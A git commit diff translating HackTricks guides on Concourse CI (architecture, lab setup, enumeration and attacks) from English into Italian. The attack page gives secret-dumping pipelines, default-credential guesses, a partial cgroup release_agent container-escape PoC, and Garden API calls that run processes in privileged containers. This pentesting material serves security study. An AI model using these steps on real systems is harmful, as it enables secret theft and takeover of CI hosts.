Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:18:58 +00:00
parent 820dd99aed
commit 931ae54e5f
245 changed files with 9984 additions and 12710 deletions

View File

@@ -2,36 +2,32 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di Base
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
Concourse ti consente di **creare pipeline** per eseguire automaticamente test, azioni e costruire immagini ogni volta che ne hai bisogno (basato sul tempo, quando accade qualcosa...)
## Concourse Architecture
## Architettura di Concourse
Learn how the concourse environment is structured in:
Scopri come è strutturato l'ambiente concourse in:
{{#ref}}
concourse-architecture.md
{{#endref}}
## Concourse Lab
## Laboratorio Concourse
Learn how you can run a concourse environment locally to do your own tests in:
Scopri come puoi eseguire un ambiente concourse localmente per fare i tuoi test in:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
## Enumerate & Attack Concourse
## Enumerare e Attaccare Concourse
Learn how you can enumerate the concourse environment and abuse it in:
Scopri come puoi enumerare l'ambiente concourse e abusarne in:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,42 +1,38 @@
# Concourse Architecture
# Architettura di Concourse
## Concourse Architecture
## Architettura di Concourse
{{#include ../../banners/hacktricks-training.md}}
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
[**Dati rilevanti dalla documentazione di Concourse:**](https://concourse-ci.org/internals.html)
### Architecture
### Architettura
![](<../../images/image (187).png>)
#### ATC: web UI & build scheduler
#### ATC: interfaccia web e pianificatore di build
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
L'ATC è il cuore di Concourse. Esegue la **web UI e API** ed è responsabile di tutta la **pianificazione** delle pipeline. Si **collega a PostgreSQL**, che utilizza per memorizzare i dati delle pipeline (inclusi i log di build).
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
La responsabilità del [checker](https://concourse-ci.org/checker.html) è quella di controllare continuamente nuove versioni delle risorse. Il [scheduler](https://concourse-ci.org/scheduler.html) è responsabile della pianificazione delle build per un lavoro e il [build tracker](https://concourse-ci.org/build-tracker.html) è responsabile dell'esecuzione di qualsiasi build pianificata. Il [garbage collector](https://concourse-ci.org/garbage-collector.html) è il meccanismo di pulizia per rimuovere oggetti non utilizzati o obsoleti, come contenitori e volumi.
#### TSA: worker registration & forwarding
#### TSA: registrazione dei worker e inoltro
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
La TSA è un **server SSH personalizzato** utilizzato esclusivamente per **registrare** in modo sicuro i [**worker**](https://concourse-ci.org/internals.html#architecture-worker) con l'[ATC](https://concourse-ci.org/internals.html#component-atc).
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
La TSA per **default ascolta sulla porta `2222`**, ed è solitamente collocata insieme all'[ATC](https://concourse-ci.org/internals.html#component-atc) e si trova dietro un bilanciatore di carico.
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
La **TSA implementa CLI attraverso la connessione SSH,** supportando [**questi comandi**](https://concourse-ci.org/internals.html#component-tsa).
#### Workers
#### Worker
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
Per eseguire compiti, Concourse deve avere alcuni worker. Questi worker **si registrano** tramite la [TSA](https://concourse-ci.org/internals.html#component-tsa) e eseguono i servizi [**Garden**](https://github.com/cloudfoundry-incubator/garden) e [**Baggageclaim**](https://github.com/concourse/baggageclaim).
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
- **Garden**: Questo è il **Container Manage API**, solitamente eseguito sulla **porta 7777** tramite **HTTP**.
- **Baggageclaim**: Questo è il **Volume Management API**, solitamente eseguito sulla **porta 7788** tramite **HTTP**.
## References
## Riferimenti
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -6,213 +6,202 @@
### User Roles & Permissions
Concourse comes with five roles:
Concourse viene fornito con cinque ruoli:
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
- **owner**: Team owners can **modify everything within the team**.
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
- _Concourse_ **Admin**: Questo ruolo è assegnato solo ai proprietari del **team principale** (team concourse iniziale predefinito). Gli admin possono **configurare altri team** (ad es.: `fly set-team`, `fly destroy-team`...). I permessi di questo ruolo non possono essere influenzati da RBAC.
- **owner**: I proprietari del team possono **modificare tutto all'interno del team**.
- **member**: I membri del team possono **leggere e scrivere** all'interno delle **risorse del team** ma non possono modificare le impostazioni del team.
- **pipeline-operator**: Gli operatori di pipeline possono eseguire **operazioni di pipeline** come attivare build e fissare risorse, tuttavia non possono aggiornare le configurazioni delle pipeline.
- **viewer**: I visualizzatori del team hanno accesso **"in sola lettura" a un team** e alle sue pipeline.
> [!NOTE]
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
> Inoltre, i **permessi dei ruoli owner, member, pipeline-operator e viewer possono essere modificati** configurando RBAC (configurando più specificamente le sue azioni). Leggi di più al riguardo in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
Nota che Concourse **raggruppa le pipeline all'interno dei Team**. Pertanto, gli utenti appartenenti a un Team saranno in grado di gestire quelle pipeline e **possono esistere diversi Team**. Un utente può appartenere a più Team e avere permessi diversi all'interno di ciascuno di essi.
### Vars & Credential Manager
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
Nei file di configurazione YAML puoi configurare valori utilizzando la sintassi `((_source-name_:_secret-path_._secret-field_))`.\
[Dal documento:](https://concourse-ci.org/vars.html#var-syntax) Il **source-name è facoltativo**, e se omesso, verrà utilizzato il [credential manager a livello di cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), oppure il valore può essere fornito [staticamente](https://concourse-ci.org/vars.html#static-vars).\
Il **_secret-field facoltativo** specifica un campo sul segreto recuperato da leggere. Se omesso, il credential manager può scegliere di leggere un 'campo predefinito' dal credential recuperato se il campo esiste.\
Inoltre, il _**secret-path**_ e il _**secret-field**_ possono essere racchiusi tra virgolette doppie `"..."` se **contengono caratteri speciali** come `.` e `:`. Ad esempio, `((source:"my.secret"."field:1"))` imposterà il _secret-path_ su `my.secret` e il _secret-field_ su `field:1`.
#### Static Vars
Static vars can be specified in **tasks steps**:
Le variabili statiche possono essere specificate nei **passaggi delle attività**:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
Or usando i seguenti `fly` **argomenti**:
Or using the following `fly` **arguments**:
- `-v` o `--var` `NAME=VALUE` imposta la stringa `VALUE` come valore per la var `NAME`.
- `-y` o `--yaml-var` `NAME=VALUE` analizza `VALUE` come YAML e lo imposta come valore per la var `NAME`.
- `-i` o `--instance-var` `NAME=VALUE` analizza `VALUE` come YAML e lo imposta come valore per la var di istanza `NAME`. Vedi [Raggruppamento delle Pipeline](https://concourse-ci.org/instanced-pipelines.html) per saperne di più sulle var di istanza.
- `-l` o `--load-vars-from` `FILE` carica `FILE`, un documento YAML contenente la mappatura dei nomi delle var ai valori, e li imposta tutti.
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
#### Gestione delle Credenziali
#### Credential Management
Ci sono diversi modi in cui un **Gestore di Credenziali può essere specificato** in una pipeline, leggi come in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Inoltre, Concourse supporta diversi gestori di credenziali:
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Moreover, Concourse supports different credential managers:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
- [Il gestore di credenziali Vault](https://concourse-ci.org/vault-credential-manager.html)
- [Il gestore di credenziali CredHub](https://concourse-ci.org/credhub-credential-manager.html)
- [Il gestore di credenziali AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
- [Il gestore di credenziali AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
- [Gestore di Credenziali Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
- [Il gestore di credenziali Conjur](https://concourse-ci.org/conjur-credential-manager.html)
- [Caching delle credenziali](https://concourse-ci.org/creds-caching.html)
- [Redazione delle credenziali](https://concourse-ci.org/creds-redacting.html)
- [Riprova dei recuperi non riusciti](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
> Nota che se hai qualche tipo di **accesso in scrittura a Concourse** puoi creare lavori per **esfiltrare quei segreti** poiché Concourse deve essere in grado di accedervi.
### Concourse Enumeration
### Enumerazione di Concourse
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
Per enumerare un ambiente concourse devi prima **raccogliere credenziali valide** o trovare un **token autenticato** probabilmente in un file di configurazione `.flyrc`.
#### Login and Current User enum
#### Login e enumerazione dell'Utente Corrente
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Get configured **targets**:
- `fly targets`
- Get if the configured **target connection** is still **valid**:
- `fly -t <target> status`
- Get **role** of the user against the indicated target:
- `fly -t <target> userinfo`
- Per effettuare il login devi conoscere l'**endpoint**, il **nome del team** (il predefinito è `main`) e un **team a cui appartiene l'utente**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Ottieni i **target configurati**:
- `fly targets`
- Verifica se la **connessione al target configurato** è ancora **valida**:
- `fly -t <target> status`
- Ottieni il **ruolo** dell'utente rispetto al target indicato:
- `fly -t <target> userinfo`
> [!NOTE]
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
> Nota che il **token API** è **salvato** in `$HOME/.flyrc` per impostazione predefinita, se stai saccheggiando una macchina potresti trovare lì le credenziali.
#### Teams & Users
#### Team e Utenti
- Get a list of the Teams
- `fly -t <target> teams`
- Get roles inside team
- `fly -t <target> get-team -n <team-name>`
- Get a list of users
- `fly -t <target> active-users`
- Ottieni un elenco dei Team
- `fly -t <target> teams`
- Ottieni i ruoli all'interno del team
- `fly -t <target> get-team -n <team-name>`
- Ottieni un elenco di utenti
- `fly -t <target> active-users`
#### Pipelines
- **List** pipelines:
- `fly -t <target> pipelines -a`
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Get all pipeline **config declared vars**
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
#### Pipeline
- **Elenca** le pipeline:
- `fly -t <target> pipelines -a`
- **Ottieni** il yaml della pipeline (**informazioni sensibili** potrebbero essere trovate nella definizione):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Ottieni tutte le **var dichiarate nella configurazione della pipeline**
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Ottieni tutti i **nomi dei segreti delle pipeline utilizzati** (se puoi creare/modificare un lavoro o dirottare un contenitore potresti esfiltrarli):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
#### Contenitori e Lavoratori
#### Containers & Workers
- Elenca **lavoratori**:
- `fly -t <target> workers`
- Elenca **contenitori**:
- `fly -t <target> containers`
- Elenca **build** (per vedere cosa è in esecuzione):
- `fly -t <target> builds`
- List **workers**:
- `fly -t <target> workers`
- List **containers**:
- `fly -t <target> containers`
- List **builds** (to see what is running):
- `fly -t <target> builds`
### Attacchi Concourse
### Concourse Attacks
#### Credentials Brute-Force
#### Brute-Force delle Credenziali
- admin:admin
- test:test
#### Secrets and params enumeration
#### Enumerazione di segreti e parametri
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
Nella sezione precedente abbiamo visto come puoi **ottenere tutti i nomi e le variabili dei segreti** utilizzati dalla pipeline. Le **variabili potrebbero contenere informazioni sensibili** e il nome dei **segreti sarà utile in seguito per cercare di rubarli**.
#### Session inside running or recently run container
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
#### Sessione all'interno di un contenitore in esecuzione o recentemente eseguito
Se hai privilegi sufficienti (**ruolo membro o superiore**) sarai in grado di **elencare pipeline e ruoli** e semplicemente ottenere una **sessione all'interno** del contenitore `<pipeline>/<job>` utilizzando:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
Con questi permessi potresti essere in grado di:
With these permissions you might be able to:
- **Rubare i segreti** all'interno del **container**
- Provare a **fuggire** verso il nodo
- Enumerare/Abusare dell'endpoint **cloud metadata** (dal pod e dal nodo, se possibile)
- **Steal the secrets** inside the **container**
- Try to **escape** to the node
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
#### Pipeline Creation/Modification
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
#### Creazione/Modifica della Pipeline
Se hai privilegi sufficienti (**ruolo di membro o superiore**) sarai in grado di **creare/modificare nuove pipeline.** Controlla questo esempio:
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
Con la **modifica/creazione** di un nuovo pipeline sarai in grado di:
With the **modification/creation** of a new pipeline you will be able to:
- **Rubare** i **segreti** (facendo un echo o entrando nel container e eseguendo `env`)
- **Evasione** al **nodo** (dandoti abbastanza privilegi - `privileged: true`)
- Enumerare/Abusare dell'endpoint **cloud metadata** (dal pod e dal nodo)
- **Eliminare** il pipeline creato
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
- **Delete** created pipeline
#### Execute Custom Task
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
#### Esegui un Compito Personalizzato
Questo è simile al metodo precedente, ma invece di modificare/creare un intero nuovo pipeline puoi **semplicemente eseguire un compito personalizzato** (che sarà probabilmente molto più **furtivo**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
#### Uscire verso il nodo da un'attività privilegiata
#### Escaping to the node from privileged task
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
In the following PoC we are going to use the release_agent to escape with some small modifications:
Nelle sezioni precedenti abbiamo visto come **eseguire un'attività privilegiata con concourse**. Questo non darà al contenitore esattamente lo stesso accesso del flag privilegiato in un contenitore docker. Ad esempio, non vedrai il dispositivo del filesystem del nodo in /dev, quindi l'uscita potrebbe essere più "complessa".
Nel seguente PoC useremo il release_agent per uscire con alcune piccole modifiche:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
> [!WARNING]
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
> Come avrai notato, questo è solo un [**escape regolare del release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) modificando semplicemente il percorso del cmd nel nodo
#### Escaping to the node from a Worker container
A regular release_agent escape with a minor modification is enough for this:
#### Uscire verso il nodo da un contenitore Worker
Un escape regolare del release_agent con una modifica minore è sufficiente per questo:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
#### Uscire verso il nodo dal contenitore Web
#### Escaping to the node from the Web container
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
However, it stores **local credentials in clear text**:
Anche se il contenitore web ha alcune difese disabilitate, **non viene eseguito come un comune contenitore privilegiato** (ad esempio, **non puoi** **montare** e le **capacità** sono molto **limitate**, quindi tutti i modi facili per uscire dal contenitore sono inutili).
Tuttavia, memorizza **credenziali locali in chiaro**:
```bash
cat /concourse-auth/local-users
test:test
@@ -319,11 +304,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
Puoi utilizzare quelle credenziali per **accedere al server web** e **creare un contenitore privilegiato ed evadere al nodo**.
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
Nell'ambiente puoi anche trovare informazioni per **accedere all'istanza postgresql** che concourse utilizza (indirizzo, **nome utente**, **password** e database tra le altre informazioni):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -344,39 +327,35 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
#### Abusing Garden Service - Not a real Attack
#### Abusare del Servizio Garden - Non un vero Attacco
> [!WARNING]
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
> Queste sono solo alcune note interessanti sul servizio, ma poiché ascolta solo su localhost, queste note non presenteranno alcun impatto che non abbiamo già sfruttato prima
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
Per impostazione predefinita, ogni worker di concourse eseguirà un servizio [**Garden**](https://github.com/cloudfoundry/garden) sulla porta 7777. Questo servizio è utilizzato dal Web master per indicare al worker **cosa deve eseguire** (scaricare l'immagine ed eseguire ogni attività). Questo sembra piuttosto interessante per un attaccante, ma ci sono alcune buone protezioni:
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
Concourse workers run with high container privileges:
- È **esposto solo localmente** (127..0.0.1) e penso che quando il worker si autentica contro il Web con il servizio SSH speciale, viene creato un tunnel in modo che il server web possa **comunicare con ogni servizio Garden** all'interno di ogni worker.
- Il server web **monitora i container in esecuzione ogni pochi secondi**, e i container **inaspettati** vengono **eliminati**. Quindi, se vuoi **eseguire un container personalizzato**, devi **manipolare** la **comunicazione** tra il server web e il servizio garden.
I worker di Concourse vengono eseguiti con privilegi elevati sui container:
```
Container Runtime: docker
Has Namespaces:
pid: true
user: false
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
Tuttavia, tecniche come **mounting** il dispositivo /dev del nodo o release_agent **non funzioneranno** (poiché il vero dispositivo con il filesystem del nodo non è accessibile, solo uno virtuale). Non possiamo accedere ai processi del nodo, quindi fuggire dal nodo senza exploit del kernel diventa complicato.
> [!NOTE]
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
> Nella sezione precedente abbiamo visto come fuggire da un contenitore privilegiato, quindi se possiamo **eseguire** comandi in un **contenitore privilegiato** creato dal **lavoratore** **corrente**, potremmo **fuggire al nodo**.
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
**Getting inside a running privileged container**
Nota che giocando con concourse ho notato che quando un nuovo contenitore viene generato per eseguire qualcosa, i processi del contenitore sono accessibili dal contenitore del lavoratore, quindi è come se un contenitore creasse un nuovo contenitore al suo interno.
**Entrare in un contenitore privilegiato in esecuzione**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
**Creazione di un nuovo container privilegiato**
**Creating a new privileged container**
You can very easily create a new container (just run a random UID) and execute something on it:
Puoi creare molto facilmente un nuovo container (basta eseguire un UID casuale) ed eseguire qualcosa su di esso:
```bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
Tuttavia, il server web controlla ogni pochi secondi i container in esecuzione e, se ne viene scoperto uno inaspettato, verrà eliminato. Poiché la comunicazione avviene in HTTP, potresti manomettere la comunicazione per evitare l'eliminazione di container inaspettati:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -434,13 +409,8 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
## References
## Riferimenti
- https://concourse-ci.org/vars.html
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,26 +1,23 @@
# Concourse Lab Creation
# Creazione del Laboratorio Concourse
{{#include ../../banners/hacktricks-training.md}}
## Testing Environment
## Ambiente di Test
### Running Concourse
### Esecuzione di Concourse
#### With Docker-Compose
This docker-compose file simplifies the installation to do some tests with concourse:
#### Con Docker-Compose
